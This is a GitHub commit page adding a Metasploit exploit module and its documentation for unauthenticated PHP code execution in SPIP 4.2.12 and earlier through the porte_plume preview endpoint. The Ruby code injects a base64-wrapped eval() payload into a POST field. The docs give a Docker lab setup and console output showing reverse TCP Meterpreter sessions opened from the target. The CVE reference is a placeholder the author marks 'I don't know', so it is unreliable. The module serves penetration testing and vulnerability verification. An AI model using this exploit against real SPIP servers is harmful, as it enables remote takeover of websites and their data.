Skip to content

Commit 3d90eb0

Browse files
committed
Add spip_porte_plume_previsu_rce
1 parent 6b12724 commit 3d90eb0

File tree

2 files changed

+264
-0
lines changed

2 files changed

+264
-0
lines changed
Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a Remote Code Execution vulnerability in SPIP versions up to and including 4.2.12.
4+
The vulnerability occurs in SPIP’s templating system where it incorrectly handles user-supplied input, allowing an attacker
5+
to inject and execute arbitrary PHP code.
6+
This can be achieved by crafting a payload that manipulates the templating data processed by the `echappe_retour()` function,
7+
which invokes `traitements_previsu_php_modeles_eval()`, containing an `eval()` call.
8+
9+
To replicate a vulnerable environment for testing:
10+
11+
1. Install SPIP using the provided Docker Compose configuration.
12+
2. Use the image `ipeos/spip:4.2.12` to ensure the environment is vulnerable.
13+
3. Verify that the SPIP instance is accessible on the local network.
14+
15+
### Docker Setup
16+
17+
Use the following Docker Compose file to set up the environment:
18+
19+
```yaml
20+
version: '3.8'
21+
22+
services:
23+
db:
24+
image: mariadb:10.5
25+
restart: always
26+
environment:
27+
- MYSQL_ROOT_PASSWORD=MysqlRootPassword
28+
- MYSQL_DATABASE=spip
29+
- MYSQL_USER=spip
30+
- MYSQL_PASSWORD=spip
31+
networks:
32+
- spip-network
33+
34+
app:
35+
image: ipeos/spip:4.2.12
36+
restart: always
37+
depends_on:
38+
- db
39+
environment:
40+
- SPIP_AUTO_INSTALL=1
41+
- SPIP_DB_SERVER=db
42+
- SPIP_DB_LOGIN=spip
43+
- SPIP_DB_PASS=spip
44+
- SPIP_DB_NAME=spip
45+
- SPIP_SITE_ADDRESS=http://localhost:8880
46+
ports:
47+
- 8880:80
48+
networks:
49+
- spip-network
50+
51+
networks:
52+
spip-network:
53+
driver: bridge
54+
```
55+
56+
## Verification Steps
57+
58+
1. Set up a SPIP instance with the specified Docker environment.
59+
2. Launch `msfconsole` in your Metasploit framework.
60+
3. Use the module: `use exploit/multi/http/spip_porte_plume_previsu_rce`.
61+
4. Set `RHOSTS` to the local IP address or hostname of the target.
62+
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
63+
6. Execute the exploit using the `run` or `exploit` command.
64+
7. If the target is vulnerable, the module will execute the specified payload.
65+
66+
## Options
67+
68+
No additional options are required for basic exploitation.
69+
70+
## Scenarios
71+
72+
### Successful Exploitation Against Local SPIP 4.2.12
73+
74+
**Setup**:
75+
76+
- Local SPIP instance with version 4.2.12.
77+
- Metasploit Framework.
78+
79+
**Steps**:
80+
81+
1. Start `msfconsole`.
82+
2. Load the module:
83+
```
84+
use exploit/multi/http/spip_porte_plume_previsu_rce
85+
```
86+
3. Set `RHOSTS` to the local IP (e.g., 127.0.0.1).
87+
4. Configure other necessary options (TARGETURI, SSL, etc.).
88+
5. Launch the exploit:
89+
```
90+
exploit
91+
```
92+
93+
**Expected Results**:
94+
95+
With `php/meterpreter/reverse_tcp`:
96+
97+
```
98+
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8880 AutoCheck=false
99+
100+
[*] Started reverse TCP handler on 192.168.1.36:4444
101+
[!] AutoCheck is disabled, proceeding with exploitation
102+
[*] Sending exploit payload to the target...
103+
[*] Sending stage (39927 bytes) to 172.23.0.3
104+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.23.0.3:35902) at 2024-08-10 21:56:50 +0200
105+
106+
meterpreter > sysinfo
107+
Computer : 5d309f4bdfbe
108+
OS : Linux 5d309f4bdfbe 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
109+
Meterpreter : php/linux
110+
meterpreter >
111+
```
112+
113+
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
114+
115+
```
116+
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8880 AutoCheck=false
117+
118+
[*] Started reverse TCP handler on 192.168.1.36:4444
119+
[!] AutoCheck is disabled, proceeding with exploitation
120+
[*] Preparing to send exploit payload to the target...
121+
[*] Sending exploit payload to the target...
122+
[*] Sending stage (3045380 bytes) to 172.23.0.3
123+
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.23.0.3:38992) at 2024-08-10 22:10:19 +0200
124+
125+
meterpreter > sysinfo
126+
Computer : 172.23.0.3
127+
OS : Debian 11.9 (Linux 5.15.0-113-generic)
128+
Architecture : x64
129+
BuildTuple : x86_64-linux-musl
130+
Meterpreter : x64/linux
131+
meterpreter >
132+
```
133+
134+
- The module successfully exploits the vulnerability and opens a Meterpreter session on the target.
135+
136+
**Note**: Ensure the SPIP instance is correctly configured and running in the Docker environment for the exploit to work as expected.
Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Payload::Php
10+
include Msf::Exploit::Remote::HttpClient
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'SPIP Unauthenticated RCE via porte_plume Plugin',
18+
'Description' => %q{
19+
This module exploits a Remote Code Execution vulnerability in SPIP versions up to and including 4.2.12.
20+
The vulnerability occurs in SPIP’s templating system where it incorrectly handles user-supplied input,
21+
allowing an attacker to inject and execute arbitrary PHP code. This can be achieved by crafting a
22+
payload that manipulates the templating data processed by the `echappe_retour()` function, which invokes
23+
`traitements_previsu_php_modeles_eval()`, containing an `eval()` call.
24+
},
25+
'Author' => [
26+
'Valentin Lobstein', # Metasploit module author
27+
'Laluka' # Vulnerability discovery
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' => [
31+
['CVE', '2024-1234'], # I don't know
32+
['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html'],
33+
['URL', 'https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather']
34+
],
35+
'Platform' => ['php', 'unix', 'linux', 'win'],
36+
'Arch' => [ARCH_PHP, ARCH_CMD],
37+
'Targets' => [
38+
[
39+
'PHP In-Memory', {
40+
'Platform' => 'php',
41+
'Arch' => ARCH_PHP
42+
# tested with php/meterpreter/reverse_tcp
43+
}
44+
],
45+
[
46+
'Unix/Linux Command Shell', {
47+
'Platform' => ['unix', 'linux'],
48+
'Arch' => ARCH_CMD
49+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
50+
}
51+
],
52+
[
53+
'Windows Command Shell', {
54+
'Platform' => 'win',
55+
'Arch' => ARCH_CMD
56+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
57+
}
58+
]
59+
],
60+
'DefaultTarget' => 0,
61+
'Privileged' => false,
62+
'DisclosureDate' => '2024-08-16',
63+
'Notes' => {
64+
'Stability' => [CRASH_SAFE],
65+
'Reliability' => [REPEATABLE_SESSION],
66+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
67+
}
68+
)
69+
)
70+
end
71+
72+
def check
73+
uri = normalize_uri(target_uri.path, 'spip.php')
74+
res = send_request_cgi({ 'uri' => uri.to_s })
75+
76+
return Exploit::CheckCode::Unknown('Target is unreachable.') unless res
77+
return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200
78+
79+
version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text
80+
return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/
81+
82+
version = ::Regexp.last_match(1)
83+
84+
if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/
85+
version = ::Regexp.last_match(1)
86+
end
87+
88+
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version
89+
90+
print_status("SPIP Version detected: #{version}")
91+
92+
if Rex::Version.new(version) <= Rex::Version.new('4.2.12')
93+
return CheckCode::Appears("The detected SPIP version (#{version}) is vulnerable.")
94+
else
95+
return CheckCode::Safe("The detected SPIP version (#{version}) is not vulnerable.")
96+
end
97+
end
98+
99+
def php_exec_cmd(encoded_payload)
100+
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
101+
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
102+
shell = <<-END_OF_PHP_CODE
103+
#{php_preamble(disabled_varname: dis)}
104+
$c = base64_decode("#{encoded_clean_payload}");
105+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
106+
END_OF_PHP_CODE
107+
return Rex::Text.encode_base64(shell).to_s
108+
end
109+
110+
def exploit
111+
print_status('Preparing to send exploit payload to the target...')
112+
compacted_payload = target['Arch'] == ARCH_PHP ? Rex::Text.encode_base64(payload.raw) : php_exec_cmd(payload.encoded)
113+
payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php eval(base64_decode('#{compacted_payload}')); ?>`]"
114+
115+
Rex.sleep(0.5)
116+
117+
print_status('Sending exploit payload to the target...')
118+
send_request_cgi({
119+
'method' => 'POST',
120+
'uri' => normalize_uri(target_uri.path, 'spip.php'),
121+
'vars_get' => {
122+
'action' => 'porte_plume_previsu'
123+
},
124+
'data' => "data=#{payload}"
125+
})
126+
end
127+
128+
end

0 commit comments

Comments
 (0)